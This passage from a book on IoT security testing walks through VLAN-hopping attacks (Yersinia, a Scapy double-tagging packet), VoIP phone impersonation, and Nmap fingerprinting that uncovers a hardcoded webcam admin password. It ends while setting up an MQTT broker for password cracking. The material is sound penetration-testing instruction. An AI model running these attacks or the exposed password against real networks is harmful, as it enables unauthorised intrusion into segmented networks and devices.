from the cloud services’ owner to perform any cloud testing. 
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Conclusion
Several of us have served in the military’s cyber defense departments. There 
we learned that doing due diligence is one of the most important aspects of 
information security. Following a security testing methodology is important 
to avoid neglecting some obvious cases. It’s easy to miss low-hanging fruit 
simply because they seem too simple or obvious.

This chapter outlined a testing methodology for performing security 
assessments of IoT systems. We walked through passive reconnaissance, 
and then described and broke down the physical, network, web application, 
host, mobile application, and cloud layers into smaller segments. 

Note that the conceptual layers covered in this chapter are in no way 
absolute; there’s often a lot of overlap between two or more layers. For 
example, a battery exhaustion attack could be part of an assessment of the 
physical layer, because the battery is hardware. But it could also be part of 
the network layer, because an attacker could conduct the attack through the 
component’s wireless network protocol. The list of components to assess isn’t 
exhaustive, either, which is why we refer you to additional resources when 
applicable.





PART II
N E T W O R K  H A C K I N G





Assessing the security of services in IoT 
systems can sometimes be challenging, 

because these systems often use newer pro-
tocols supported by very few security tools, if 

any at all. So, it’s important that we learn which tools 
we can use and whether we can expand those tools’ 
capabilities. 

In this chapter, we start by explaining how to circumvent network seg-
mentation and penetrate into an isolated IoT network. Next, we show you 
how to identify IoT devices and fingerprint custom network services using 
Nmap. Then we attack Message Queuing Telemetry Transport (MQTT), a com-
mon network IoT protocol. By doing so, you’ll learn how to write custom 
password-authentication cracking modules with the help of Ncrack.

4
N E T W O R K  A S S E S S M E N T S
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Hopping into the IoT Network
Most organizations try to improve the security of their networks by intro-
ducing network segmentation and segregation strategies. These strategies 
separate assets with lower security requirements, such as the devices in 
the guest network, from critical components of the organization’s infra-
structure, such as the web servers located at the datacenter and the voice 
network for employee phones. The critical components might also include 
an IoT network. For instance, the company might use security cameras and 
access control units, like remotely controlled door locks. To segregate the 
network, the company usually installs perimeter firewalls or switches and 
routers capable of separating the network into different zones. 

One common way to segment a network is through VLANs, which are 
logical subsets of a larger, shared physical network. Devices must be located 
in the same VLAN to communicate. Any connection to a device that belongs 
to a different VLAN must go through a Layer 3 switch, a device that com-
bines the functionality of a switch and a router, or just a router, which can 
then impose ACLs. The ACLs selectively admit or reject inbound packets 
using advanced rulesets, providing fine-grained network traffic control. 

But if the company configures these VLANs insecurely or uses insecure 
protocols, an attacker could circumvent the restrictions by performing a 
VLAN-hopping attack. In this section, we walk through this attack to access 
the organization’s protected IoT network.

VLANs and Network Switches
To perform an attack against the VLANs, you need to understand how 
network switches operate. On a switch, each port is either configured as 
an access port or a trunk port (also called a tagged port by some vendors), as 
shown in Figure 4-1. 
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Figure 4-1: Common network architecture with separated VLANs for guests and IoT devices
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When a device, such as an IP camera, is connected to an access port, 
the network assumes that the packets it transfers belong to a certain VLAN. 
On the other hand, when a device is connected to a trunk port, it estab-
lishes a VLAN trunk link, a type of connection that allows the packets of 
any VLAN to pass through. We mainly use trunk links to connect multiple 
switches and routers. 

To identify the traffic in a trunk link that belongs to each VLAN, the 
switch uses an identification method called VLAN tagging. It marks packets 
that traverse a trunk link with a tag that corresponds to their access port’s 
VLAN ID. When the packets arrive at the destination switch, the switch 
removes the tag and uses it to transfer the packets to the correct access 
port. Networks can use one of several protocols to perform the VLAN tag-
ging, such as the Inter-Switch Link (ISL), the LAN Emulation (LANE), and 
IEEE 802.1Q and 802.10 (FDDI).

Switch Spoofing
Many network switches establish VLAN trunk links dynamically using a 
Cisco proprietary networking protocol called the Dynamic Trunking Protocol 
(DTP). DTP allows two connected switches to create a trunk link and then 
negotiate the VLAN tagging method. 

In a switch spoofing attack, attackers abuse this protocol by pretending 
their device is a network switch, tricking a legitimate switch into establish-
ing a trunk link to it (Figure 4-2). As a result, the attackers can gain access 
to packets originating from any VLAN on the victim switch. 
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Figure 4-2: Switch spoofing attack

Let’s try this attack. We’ll send DTP packets that resemble those from an 
actual switch on the network using the open source tool Yersinia (https://github 
.com/tomac/yersinia/). Yersinia is preinstalled in Kali Linux, but if you are using 
the latest Kali version, you’ll need to first install the kali-linux-large metapack-
age. You can do so by issuing the following command in a terminal: 

$ sudo apt install kali-linux-large

https://github.com/tomac/yersinia/
https://github.com/tomac/yersinia/
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We generally recommend using the preceding approach instead of 
manually compiling tools, as we have identified issues with the compilation 
of some of the tools in the newest Kali versions.

Alternatively, you can try compiling Yersinia by using the following 
commands:

# apt-get install libnet1-dev libgtk2.0-dev libpcap-dev
# tar xvfz yersinia-0.8.2.tar.gz && cd yersinia-0.8.2 && ./autogen.sh
# ./configure
# make && make install

To establish the trunk link with the attacker’s device, open Yersinia’s 
graphic user interface:

# yersinia -G

In the interface, click Launch Attack. Then, in the DTP tab, select the 
enable trunking option, as shown in Figure 4-3.

Figure 4-3: The Yersinia DTP tab

When you select this option, Yersinia should imitate a switch that sup-
ports the DTP protocol, connect to a victim switch’s port, and repeatedly 
send the DTP packets needed to establish a trunk link with the victim 
switch. If you want to send just one raw DTP packet, select the first option. 

Once you’ve enabled trunking in the DTP tab, you should see data 
from the available VLANs in the 802.1Q tab, as shown in Figure 4-4.
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Figure 4-4: The Yersinia 802.1Q tab

The data also includes the available VLAN IDs. To access the VLAN 
packets, first identify your network interface using the nmcli command, 
which is preinstalled in Kali Linux:

# nmcli 
eth1: connected to Wired connection 1
        "Realtek RTL8153"
        ethernet (r8152), 48:65:EE:16:74:F9, hw, mtu 1500

In this example, the attacker’s laptop has the eth1 network interface. 
Enter the following commands in the Linux terminal:

# modprobe 8021q
# vconfig add eth1 20
# ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up

First, we load the kernel module for the VLAN tagging method using 
the modprobe command, which is preinstalled in Kali Linux. Then we cre-
ate a new interface with the desired VLAN ID using the vconfig command, 
followed by the add parameter, the name of our network interface, and the 
VLAN identifier. The vconfig command is preinstalled in Kali Linux, and 
it’s included in the vlan package in other Linux distributions. In our case, 
we’ll specify the VLAN 20 ID used for the IoT network in this example and 
assign it to the network adapter on the attacker’s laptop. You can also select 
an IPv4 address using the ifconfig command.

Double Tagging
As mentioned earlier, an access port sends and receives packets with no VLAN 
tag, because those packets are assumed to belong to a specific VLAN. On 
the other hand, the packets that the trunk port sends and receives should be 
marked with a VLAN tag. This allows packets originating from any access port, 
even those belonging to different VLANs, to pass through. But there are cer-
tain exceptions to this, depending on the VLAN tagging protocol in use. For 
example, in the IEEE 802.1Q protocol, if a packet arrives at a trunk port and 
has no VLAN tag, the switch will automatically forward this packet to a pre-
defined VLAN called the native VLAN. Usually, this packet has the VLAN ID 1. 

If the native VLAN’s ID belongs to one of the switch access ports or if 
an adversary has acquired it as part of a switch spoofing attack, the attacker 
might be able to perform a double tagging attack, as shown in Figure 4-5.
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Figure 4-5: Double tagging attack

When a packet that traverses a trunk link arrives on the destination 
switch’s trunk port, the destination port removes its VLAN tag and then 
uses this tag to transfer the packet to the correct custom packets. You could 
add two VLAN tags and trick the switch into removing only the outer one. 
If it’s the native VLAN tag, the switch will transfer the packet with the inner 
tag to its trunk link, toward the second switch. When the packet arrives on 
the destination switch’s trunk port, the switch will use the inner tag to for-
ward the packet to the appropriate access port. You can use this method to 
send packets to a device that you wouldn’t otherwise be able to reach, such 
as an IoT device monitoring server, as shown in Figure 4-5.

To perform the attack, the outer VLAN tag has to identify the adversary’s 
own VLAN, which must also be the native VLAN of the established trunk 
link, whereas the inner tag must identify the VLAN to which a targeted IoT 
device belongs. We can use the Scapy framework (https://scapy.net/), a powerful 
packet manipulation program written in Python, to forge a packet with these 
two VLAN tags. You can install Scapy using Python’s pip package manager.

# pip install scapy

The following Python code sends an ICMP packet to a targeted device 
with the IPv4 address 192.168.1.10 located in VLAN 20. We tag the ICMP 
packet with two VLAN IDs: 1 and 20.

from scapy.all import *
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

The Ether() function creates an auto-generated link layer. We then 
make the two VLAN tags using the Dot1Q() function. The IP() function 
defines a custom network layer to route the packet to the victim’s device. 

https://scapy.net/
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Finally, we add an auto-generated payload containing the transport layer 
that we want to use (in our case, ICMP). The ICMP response will never 
reach the adversary’s device, but we can verify that the attack succeeded  
by observing the network packets in the victim’s VLAN using Wireshark. 
We’ll discuss using Wireshark in detail in Chapter 5.

Imitating VoIP Devices
Most corporate networking environments contain VLANs for their voice 
networks. Although intended for use by the employees’ Voice over Internet 
Protocol (VoIP) phones, modern VoIP devices are increasingly integrated 
with IoT devices. Many employees can now unlock doors using a special 
phone number, control the room’s thermostat, watch a live feed from security 
cameras on the VoIP device’s screen, receive voice messages as emails, and 
get notifications from the corporate calendar to their VoIP phones. In these 
cases, the VoIP network looks something like the one shown in Figure 4-6. 

Guest
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Guest
VLAN

VLAN
20

VoIP

Adversary
replaces the phone
with his own device

Imitates the 
VoIP phone

Door lock

VLAN
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VLAN
20
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Figure 4-6: A VoIP device connected to an IoT network

If the VoIP phones can connect to the corporate IoT network, attackers 
can imitate VoIP devices to gain access to this network, too. To perform this 
attack, we’ll use an open source tool called VoIP Hopper (http://voiphopper 
.sourceforge.net/). VoIP Hopper mimics the behavior of a VoIP phone in 
Cisco, Avaya, Nortel, and Alcatel-Lucent environments. It automatically dis-
covers the correct VLAN ID for the voice network using one of the device 
discovery protocols it supports, such as the Cisco Discovery Protocol (CDP), 
the Dynamic Host Configuration Protocol (DHCP), Link Layer Discovery 

http://voiphopper.sourceforge.net/
http://voiphopper.sourceforge.net/
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Protocol Media Endpoint Discovery (LLDP-MED), and 802.1Q ARP. We won’t 
further investigate how these protocols work, because their inner workings 
aren’t relevant to the attack. 

VoIP Hopper is preinstalled in Kali Linux. If you’re not using Kali, you 
can manually download and install the tool from the vendor’s site using the 
following commands:

# tar xvfz voiphopper-2.04.tar.gz && cd voiphopper-2.04
# ./configure
# make && make install

Now we’ll use VoIP Hopper to imitate Cisco’s CDP protocol. CDP allows 
Cisco devices to discover other Cisco devices nearby, even if they’re using 
different network layer protocols. In this example, we imitate a connected 
Cisco VoIP device and assign it to the correct VLAN that gives us further 
access to the corporate voice network:

# voiphopper -i eth1  -E 'SEP001EEEEEEEEE ' -c 2
VoIP Hopper 2.04 Running in CDP Spoof mode
Sending 1st CDP Spoofed packet on eth1 with CDP packet data:
Device ID: SEP001EEEEEEEEE;    Port ID: Port 1;    Software: SCCP70.8-3-3SR2S
Platform: Cisco IP Phone 7971;    Capabilities: Host;    Duplex: 1
Made CDP packet of 125 bytes - Sent CDP packet of 125 bytes
Discovered VoIP VLAN through CDP: 40
Sending 2nd CDP Spoofed packet on eth1 with CDP packet data:
Device ID: SEP001EEEEEEEEE;    Port ID: Port 1;    Software: SCCP70.8-3-3SR2S
Platform: Cisco IP Phone 7971;    Capabilities: Host;    Duplex: 1
Made CDP packet of 125 bytes - Sent CDP packet of 125 bytes
Added VLAN 20 to Interface eth1
Current MAC:  00:1e:1e:1e:1e:90 
VoIP Hopper will sleep and then send CDP Packets
Attempting dhcp request for new interface eth1.20
VoIP Hopper dhcp client:  received IP address for eth1.20: 10.100.10.0

VoIP Hopper supports three CDP modes. The sniff mode inspects the 
network packets and attempts to locate the VLAN ID. To use it, set the -c 
parameter to 0. The spoof mode generates custom packets similar to the ones 
a real VoIP device would transmit in the corporate network. To use it, set 
the -c parameter to 1. The spoof with a pre-made packet mode sends the same 
packets as a Cisco 7971G-GE IP phone. To use it, set the -c parameter to 2. 

We use the last method because it’s the fastest approach. The -i 
parameter specifies the attacker’s network interface, and the -E parameter 
specifies the name of the VOIP device being imitated. We chose the name 
SEP001EEEEEEEEE, which is compatible with the Cisco naming format 
for VoIP phones. The format consists of the word “SEP” followed by a MAC 
address. In corporate environments, you can imitate an existing VoIP 
device by looking at the MAC label on the back of the phone; by pressing 
the Settings button and selecting the Model Information option on the 
phone’s display screen; or by attaching the VoIP device’s Ethernet cable to 
your laptop and observing the device’s CDP requests using Wireshark.
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If the tool executes successfully, the VLAN network will assign an IPv4 
address to the attacker’s device. To confirm that the attack worked, you 
could observe the DHCP response to this in Wireshark (Figure 4-7). We’ll 
discuss using Wireshark in detail in Chapter 5.

Figure 4-7: The Wireshark traffic dump of the DHCP frame in the voice network (Voice VLAN)

Now we can identify the IoT devices located in this specific IoT network.

Identifying IoT Devices on the Network
One of the challenges you’ll face when attempting to identify IoT devices on a 
network is that they often share technology stacks. For example, BusyBox, a 
popular executable in IoT devices, typically runs the same network services 
on all devices. This makes it difficult to identify a device based on its services. 

That means we need to go deeper. We have to craft a specific request  
in the hopes of generating a response from the target that uniquely identi-
fies the device. 

Uncovering Passwords by Fingerprinting Services
This section walks you through an excellent example of how sometimes you 
can go from detecting an unknown service to finding a hardcoded back-
door that you can abuse. We’ll target an IP webcam. 

Of all available tools, Nmap has the most complete database for service 
fingerprinting. Nmap is available by default in security-oriented Linux distri-
butions like Kali, but you can grab its source code or precompiled binaries 
for all major operating systems, including Linux, Windows, and macOS, at 
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https://nmap.org/. It uses the nmap-service-probes file, located in the root folder 
of your Nmap installation, to store thousands of signatures for all kinds of 
services. These signatures consist of probes, data often sent, and sometimes 
hundreds of lines that match known responses to particular services. 

When attempting to identify a device and the services it runs, the very 
first Nmap command you should try is a scan with service (-sV) and operat-
ing system detection (-O) enabled:

# nmap -sV -O <target>

This scan will usually be enough to identify the underlying operating 
system and main services, including their versions. 

But although this information is valuable by itself, it’s even more useful to 
conduct a scan that increases version intensity to the maximum level using the 
--version-all or --version-intensity 9 arguments. Increasing version intensity 
forces Nmap to ignore the rarity level (a number indicating how common the 
service is according to Nmap’s research) and port selection and launch all the 
probes in the service fingerprint database for any service that it detects. 

When we ran a full port scan (-p-) against an IP webcam with ver-
sion detection enabled and the intensity increased to the maximum, the 
scan uncovered a new service running on higher ports that previous scans 
hadn’t uncovered:

# nmap -sV --version-all -p- <target>
Host is up (0.038s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     OpenBSD ftpd 6.4 (Linux port 0.17)
80/tcp    open  http    Boa HTTPd 0.94.14rc21
554/tcp   open  rtsp    Vivotek FD8134V webcam rtspd
8080/tcp  open  http    Boa HTTPd 0.94.14rc21
42991/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit 
the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port42991-TCP:V=7.70SVN%I=7%D=8/12%Time=5D51D3D7%P=x86_64-unknown-linux
SF:-gnu%r(GenericLines,3F3,"HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x209
SF:22\x20\r\nContent-Type:\x20text/xml\r\nConnection:\x20Keep-Alive\r\n\r\
SF:n<\?xml\x20version=\"1\.0\"\?>\n<root\x20xmlns=\"urn:schemas-upnp-org:d
SF:evice-1-0\">\n<specVersion>\n<major>1</major>\n<minor>0</minor>\n</spec
SF:Version>\n<device>\n<deviceType>urn:schemas-upnp-org:device:Basic:1</de
SF:viceType>\n<friendlyName>FE8182\(10\.10\.10\.6\)</friendlyName>\n<manuf
SF:acturer>VIVOTEK\x20INC\.</manufacturer>\n<manufacturerURL>http://www\.v
SF:ivotek\.com/</manufacturerURL>\n<modelDescription>Mega-Pixel\x20Network
SF:\x20Camera</modelDescription>\n<modelName>FE8182</modelName>\n<modelNum
SF:ber>FE8182</modelNumber>\n<UDN>uuid:64f5f13e-eb42-9c15-ebcf-292306c172b
SF:6</UDN>\n<serviceList>\n<service>\n<serviceType>urn:Vivotek:service:Bas
SF:icService:1</serviceType>\n<serviceId>urn:Vivotek:serviceId:BasicServic
SF:eId</serviceId>\n<controlURL>/upnp/control/BasicServiceId</controlURL>\
SF:n<eventSubURL>/upnp/event/BasicServiceId</eventSubURL>\n<SCPDURL>/scpd_
SF:basic\.xml</");
Service Info: Host: Network-Camera; OS: Linux; Device: webcam; CPE: cpe:/o:linux:linux_kernel, 
cpe:/h:vivotek:fd8134v

https://nmap.org/
https://nmap.org/cgi-bin/submit.cgi?new-service
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Note that, depending on the number of running services, this scan 
might be very noisy and time-consuming. Poorly written software might  
also crash, because it will receive thousands of unexpected requests. Look 
at the Twitter hashtag #KilledByNmap to glance at the variety of devices 
that crash when scanned.

Excellent, we’ve discovered a new service on port 42991. But even 
Nmap’s service detection engine with thousands of signatures didn’t recog-
nize it, because it marked the service as unknown in the service column. But 
the service did return data. Nmap even suggests we submit the signature to 
improve its database (which we suggest you always do). 

If we pay closer attention to the partial response Nmap is showing, we 
can recognize an XML file containing device information, such as a config-
ured name, a model name and number, and services. This response looks 
interesting, because the service is running on a high, uncommon port:

SF-Port42991-TCP:V=7.70SVN%I=7%D=8/12%Time=5D51D3D7%P=x86_64-unknown-linux
SF:-gnu%r(GenericLines,3F3,"HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x209
SF:22\x20\r\nContent-Type:\x20text/xml\r\nConnection:\x20Keep-Alive\r\n\r\
SF:n<\?xml\x20version=\"1\.0\"\?>\n<root\x20xmlns=\"urn:schemas-upnp-org:d
SF:evice-1-0\">\n<specVersion>\n<major>1</major>\n<minor>0</minor>\n</spec
SF:Version>\n<device>\n<deviceType>urn:schemas-upnp-org:device:Basic:1</de
SF:viceType>\n<friendlyName>FE8182\(10\.10\.10\.6\)</friendlyName>\n<manuf
SF:acturer>VIVOTEK\x20INC\.</manufacturer>\n<manufacturerURL>http://www\.v
SF:ivotek\.com/</manufacturerURL>\n<modelDescription>Mega-Pixel\x20Network
SF:\x20Camera</modelDescription>\n<modelName>FE8182</modelName>\n<modelNum
SF:ber>FE8182</modelNumber>\n<UDN>uuid:64f5f13e-eb42-9c15-ebcf-292306c172b
SF:6</UDN>\n<serviceList>\n<service>\n<serviceType>urn:Vivotek:service:Bas
SF:icService:1</serviceType>\n<serviceId>urn:Vivotek:serviceId:BasicServic
SF:eId</serviceId>\n<controlURL>/upnp/control/BasicServiceId</controlURL>\
SF:n<eventSubURL>/upnp/event/BasicServiceId</eventSubURL>\n<SCPDURL>/scpd_
SF:basic\.xml</");

To try generating a response from the device to identify it, we might 
send random data to the service. But if we do this with ncat, the connection 
simply closes:

# ncat 10.10.10.6 42991
eaeaeaea
eaeaeaea
Ncat: Broken pipe.

If we can’t send data to that port, why did the service return data when 
we scanned it earlier? Let’s check the Nmap signature file to see what data 
Nmap sent. The signature includes the name of the probe that generated 
the response—in this case, GenericLines. We can view this probe using the 
following command:

# cat /usr/local/share/nmap/nmap-service-probes | grep GenericLines
Probe TCP GenericLines 1q|\r\n\r\n|
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Inside the nmap-service-probes file, we can find the name of this probe, 
followed by the data sent to the device delimited by q|<data>| 1. The data 
shows that the GenericLines probe sends two carriage returns and new lines. 

Let’s send this directly to the scanned device to get the full response 
that Nmap shows: 

# echo -ne "\r\n\r\n" | ncat 10.10.10.6 42991
HTTP/1.1 200 OK
Content-Length: 922 
Content-Type: text/xml
Connection: Keep-Alive

<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>FE8182(10.10.10.6)</friendlyName>
<manufacturer>VIVOTEK INC.</manufacturer>
<manufacturerURL>http://www.vivotek.com/</manufacturerURL>
<modelDescription>Mega-Pixel Network Camera</modelDescription>
<modelName>FE8182</modelName>
<modelNumber>FE8182</modelNumber>
<UDN>uuid:64f5f13e-eb42-9c15-ebcf-292306c172b6</UDN>
<serviceList>
<service>
<serviceType>urn:Vivotek:service:BasicService:1</serviceType>
<serviceId>urn:Vivotek:serviceId:BasicServiceId</serviceId>
<controlURL>/upnp/control/BasicServiceId</controlURL>
<eventSubURL>/upnp/event/BasicServiceId</eventSubURL>
<SCPDURL>/scpd_basic.xml</SCPDURL>
</service>
</serviceList>
<presentationURL>http://10.10.10.6:80/</presentationURL>
</device>
</root>

The service responds with a lot of useful information, including the 
device name, model name, model number, and services running inside 
the device. An attacker could use this information to accurately finger-
print the IP web camera’s model and firmware version. 

But we can go further. Let’s use the model name and number to grab 
the device firmware from the manufacturer’s website and figure out how it 
generates this XML file. (Detailed instructions for getting a device’s firm-
ware are in Chapter 9.) Once we have the firmware, we extract the filesys-
tem inside the firmware with help from binwalk:

$ binwalk -e <firmware>
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When we ran this command for the IP webcam firmware, we came 
across an unencrypted firmware that we could analyze. The filesystem is in 
the Squashfs format, a read-only filesystem for Linux commonly found in 
IoT devices. 

We searched the firmware for the strings inside the XML response we 
saw earlier and found them inside the check_fwmode binary:

$ grep -iR "modelName" 
./usr/bin/update_backup:    MODEL=$(confclient -g system_info_extendedmodelname -p 9 -t Value)
./usr/bin/update_backup:    BACK_EXTMODEL_NAME=`${XMLPARSER} -x /root/system/info/
extendedmodelname -f ${BACKUP_SYSTEMINFO_FILE}`
./usr/bin/update_backup:    CURRENT_EXTMODEL_NAME=`${XMLPARSER} -x /root/system/info/
extendedmodelname -f ${SYSTEMINFO_FILE}`
./usr/bin/update_firmpkg:getSysparamModelName()
./usr/bin/update_firmpkg:   sysparamModelName=`sysparam get pid`
./usr/bin/update_firmpkg:   getSysparamModelName
./usr/bin/update_firmpkg:   bSupport=`awk -v modelName="$sysparamModelName" 'BEGIN{bFlag=0}
{if((match($0, modelName)) && (length($1) == length(modelName))){bFlag=1}}END{print bFlag}' 
$RELEASE_LIST_FILE`
./usr/bin/update_lens:         SYSTEM_MODEL=$(confclient -g system_info_modelname -p 99 -t 
Value)
./usr/bin/update_lens:              MODEL_NAME=`tinyxmlparser -x /root/system/info/modelname -f 
/etc/conf.d/config_systeminfo.xml`
./usr/bin/check_fwmode:    sed -i1 "s,<modelname>.*</modelname>,<modelname>${1}</modelname>,g" 
$SYSTEMINFO_FILE
./usr/bin/check_fwmode:    sed -i "s,<extendedmodelname>.*</extendedmodelname>,<extendedmodeln
ame>${1}</extendedmodelname>,g" $SYSTEMINFO_FILE

The file check_fwmode 1, contains our desired string and inside we also 
found a hidden gem: an eval() call that includes the variable QUERY_STRING 
containing a hardcoded password:

eval `REQUEST_METHOD='GET' SCRIPT_NAME='getserviceid.cgi' QUERY_STRING='pas
swd=0ee2cb110a9148cc5a67f13d62ab64ae30783031' /usr/share/www/cgi-bin/admin/
serviceid.cgi | grep serviceid`

We could use this password to invoke the administrative CGI script 
getserviceid.cgi or other scripts that use the same hardcoded password. 

Writing New Nmap Service Probes
As we’ve seen, Nmap’s version detection is very powerful, and its database of 
service probes is quite sizeable because it’s composed of submissions from 
users all over the world. Most of the time, Nmap recognizes the service cor-
rectly, but what can we do when it doesn’t, such as in our previous webcam 
example? 

Nmap’s service fingerprint format is simple, allowing us to quickly write 
new signatures to detect new services. Sometimes the service includes addi-
tional information about the device. For example, an antivirus service, such 
as ClamAV, might return the date on which the signatures were updated, or 
a network service might include the build number in addition to its version. 
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In this section, we’ll write a new signature for the IP web camera’s service 
running on port 42991 we discovered in the preceding section.

Each line of the probe must contain at least one of the directives shown 
in Table 4-1.

Table 4-1: Nmap Service Probe Directives

Directive Description

Exclude Ports to exclude from probing

Probe Line that defines the protocol, name, and data to send

match Response to match and identify a service

softmatch Similar to the match directive, but it allows the scan to continue 
to match additional lines

ports and sslports Ports that define when to execute the probe

totalwaitms Timeout to wait for the probe’s response

tcpwrappedms Only used for NULL probe to identify tcpwrapped services

rarity Describes how common a service is

fallback Defines which probes to use as fallbacks if there are no matches

As an example, let’s look at the NULL probe, which performs simple 
banner grabbing: when you use it, Nmap won’t send any data; it will just 
connect to the port, listen to the response, and try to match the line with a 
known response from an application or service.

# This is the NULL probe that compares any banners given to us

Probe TCP NULL q||
# Wait for at least 5 seconds for data.  Otherwise an Nmap default is used.
totalwaitms 5000 

# Windows 2003
match ftp m/^220[ -]Microsoft FTP Service\r\n/ p/Microsoft ftpd/
match ftp m/^220 ProFTPD (\d\S+) Server/ p/ProFTPD/ v/$1/

softmatch ftp m/^220 [-.\w ]+ftp.*\r\n$/i

A probe can have multiple match and softmatch lines to detect services 
that respond to the same request data. For the simplest service fingerprints, 
such as the NULL probe, we only need the following directives: Probe, rarity, 
ports, and match. 

For example, to add a signature that correctly detects the rare service 
running on the webcam, add the following lines to nmap-service-probes in 
your local Nmap root directory. It will load automatically along with Nmap, 
so there’s no need to recompile the tool:

Probe TCP WEBCAM q|\r\n\r\n|
rarity 3
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ports 42991
match networkcaminfo m|<modelDescription>Mega-Pixel| p/Mega-Pixel Network 
Camera/

Note that we can use special delimiters to set additional information 
about a service. For instance, p/<product name>/ sets the product name. Nmap 
can populate other fields, such as i/<extra info>/ for additional information 
or v/<additional version info>/ for version numbers. It can use regular expres-
sions to extract data from the response. When we scan the webcam again, 
Nmap yields the following results against our previously unknown service:

# nmap -sV --version-all -p- <target>
Host is up (0.038s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp            OpenBSD ftpd 6.4 (Linux port 0.17)
80/tcp    open  http           Boa HTTPd 0.94.14rc21
554/tcp   open  rtsp           Vivotek FD8134V webcam rtspd
8080/tcp  open  http           Boa HTTPd 0.94.14rc21
42991/tcp open  networkcaminfo Mega-Pixel Network Camera

If we want to include other information in Nmap’s output, such as the 
model number or the Universally Unique Identifier (UUID), we’d simply 
need to extract it using regular expressions. Numbered variables ($1, $2, 
$3, and so on) will be available to populate the information fields. You can 
see how regular expressions and numbered variables are used in the fol-
lowing match line for ProFTPD, a popular open source file transfer service, 
where the version information (v/$1/) is extracted from the banner using 
the regular expression (\d\S+):

match ftp m/^220 ProFTPD (\d\S+) Server/ p/ProFTPD/ v/$1/

You’ll find more information about other available fields in the official 
Nmap documentation at https://nmap.org/book/vscan-fileformat.html. 

Attacking MQTT
MQTT is a machine-to-machine connectivity protocol. It’s used in sensors 
over satellite links, dial-up connections with health-care providers, home 
automation, and small devices that require low power usage. It works on top 
of the TCP/IP stack but is extremely lightweight, because it minimizes mes-
saging using a publish-subscribe architecture. 

The publish-subscribe architecture is a messaging pattern in which 
the senders of messages, called publishers, sort messages into categories, 
called topics. The subscribers, the recipients of the messages, receive only 
those messages that belong to the topics to which they’ve subscribed. The 
architecture then uses intermediary servers, called brokers, to route all mes-
sages from publishers to subscribers. Figure 4-8 shows the publish-subscribe 
model that MQTT uses.

https://nmap.org/book/vscan-fileformat.html
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Figure 4-8: MQTT’s publish-subscribe architecture

One of the main problems with MQTT is that authentication is optional, 
and even if it’s used, it’s unencrypted by default. When credentials are trans-
mitted in cleartext, attackers with a man-in-the-middle position on the net-
work can steal them. In Figure 4-9, you can see that the CONNECT packet, 
sent by an MQTT client to authenticate to a broker, stores the username and 
password as cleartext.

Figure 4-9: The Wireshark traffic dump of an MQTT CONNECT packet contains the username and password 
transmitted as cleartext.

Because MQTT has a simple structure and brokers don’t typically limit 
the number of authentication attempts per client, it’s the ideal IoT network 
protocol to use to demonstrate authentication cracking. In this section, 
we’ll create an MQTT module for Ncrack, Nmap’s network authentication 
cracking tool. 
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Setting Up a Test Environment
First, we need to select a representative MQTT broker and set up a test  
environment. We’ll use the Eclipse Mosquitto software (https://mosquitto 
.org/download/), which is open source and cross platform. You can directly 
install the Mosquitto server and client on Kali Linux by issuing the follow-
ing command as root:

root@kali:~# apt-get install mosquitto mosquitto-clients

Once installed, the broker starts listening on TCP port 1833 on all 
network interfaces, including the localhost. If needed, you can also start it 
manually by entering:

root@kali:~# /etc/init.d/mosquitto start

To test that it’s working, use mosquito_sub to subscribe to a topic:

root@kali:~# mosquitto_sub -t 'test/topic' -v

Then, in another terminal session, publish a test message by entering:

root@kali:~# mosquitto_pub -t 'test/topic' -m 'test message'

On the subscriber’s terminal (the one from which you ran mosquitto_sub), 
you should see test message displayed in the test/topic category. 

After verifying that our Mosquitto MQTT environment works and ter-
minating previous terminal sessions, we’ll configure mandatory authentica-
tion. We first create a password file for a test user: 

root@kali:~# mosquitto_passwd -c /etc/mosquitto/password test 
Password: test123
Reenter password: test123

Then we create a configuration file called pass.conf inside the directory 
/etc/mosquitto/conf.d/ with the following contents:

allow_anonymous false
password_file /etc/mosquitto/password

Finally, we restart the Mosquitto broker for the changes to take effect:

root@kali:~# /etc/init.d/mosquitto restart

We should now have mandatory authentication configured for our bro-
ker. If you try to publish or subscribe without issuing a valid username and 
password combination, you should get a Connection error: Connection Refused: 
not authorised message. 

MQTT brokers send a CONNACK packet in response to a CONNECT 
packet. You should see the return code 0x00 in the header if the credentials 

https://mosquitto.org/download/
https://mosquitto.org/download/
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are deemed valid and the connection is accepted. If the credentials are 
incorrect, the return code is 0x05. Figure 4-10 shows what a message with 
the return code 0x05 looks like, as captured by Wireshark. 

Figure 4-10: MQTT CONNACK packet with return code 05, refusing the connection due 
to invalid credentials 

Next, we’ll try to connect to the broker using the correct credentials 
while still capturing the network traffic. To easily see these packets, we fire 
up Wireshark and start capturing traffic on TCP port 1833. To test the sub-
scriber, we issue this command: 

root@kali:~# mosquitto_sub -t 'test/topic' -v -u test -P test123

Similarly, to test the publisher, we issue the following command: 

root@kali:~# mosquitto_pub -t 'test/topic' -m 'test’ -u test -P test123

You can see in Figure 4-11 that the broker now returns a CONNACK 
packet with a return code of 0x00. 

Figure 4-11: MQTT CONNACK packet with return code 0, indicating credentials were 
correct
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Writing the MQTT Authentication-Cracking Module in Ncrack
In this section, we’ll expand Ncrack to support MQTT, allowing us to crack 
its credentials. Ncrack (https://nmap.org/ncrack/) is a high-speed network 
authentication cracking tool with a modular architecture. It supports a 
variety of network protocols (as of version 0.7, this includes SSH, RDP, FTP, 
Telnet, HTTP and HTTPS, WordPress, POP3 and POP3S, IMAP, CVS, 
SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, 
Cassandra, WinRM, OWA, and DICOM). It belongs to the Nmap suite of 
security tools. Its modules perform dictionary attacks against protocol 
authentications, and it ships with a variety of username and password lists.

The latest recommended version of Ncrack is on GitHub at https://github 
.com/nmap/ncrack/, although precompiled packages exist for distributions 
such as Kali Linux. The latest version already includes the MQTT module, 
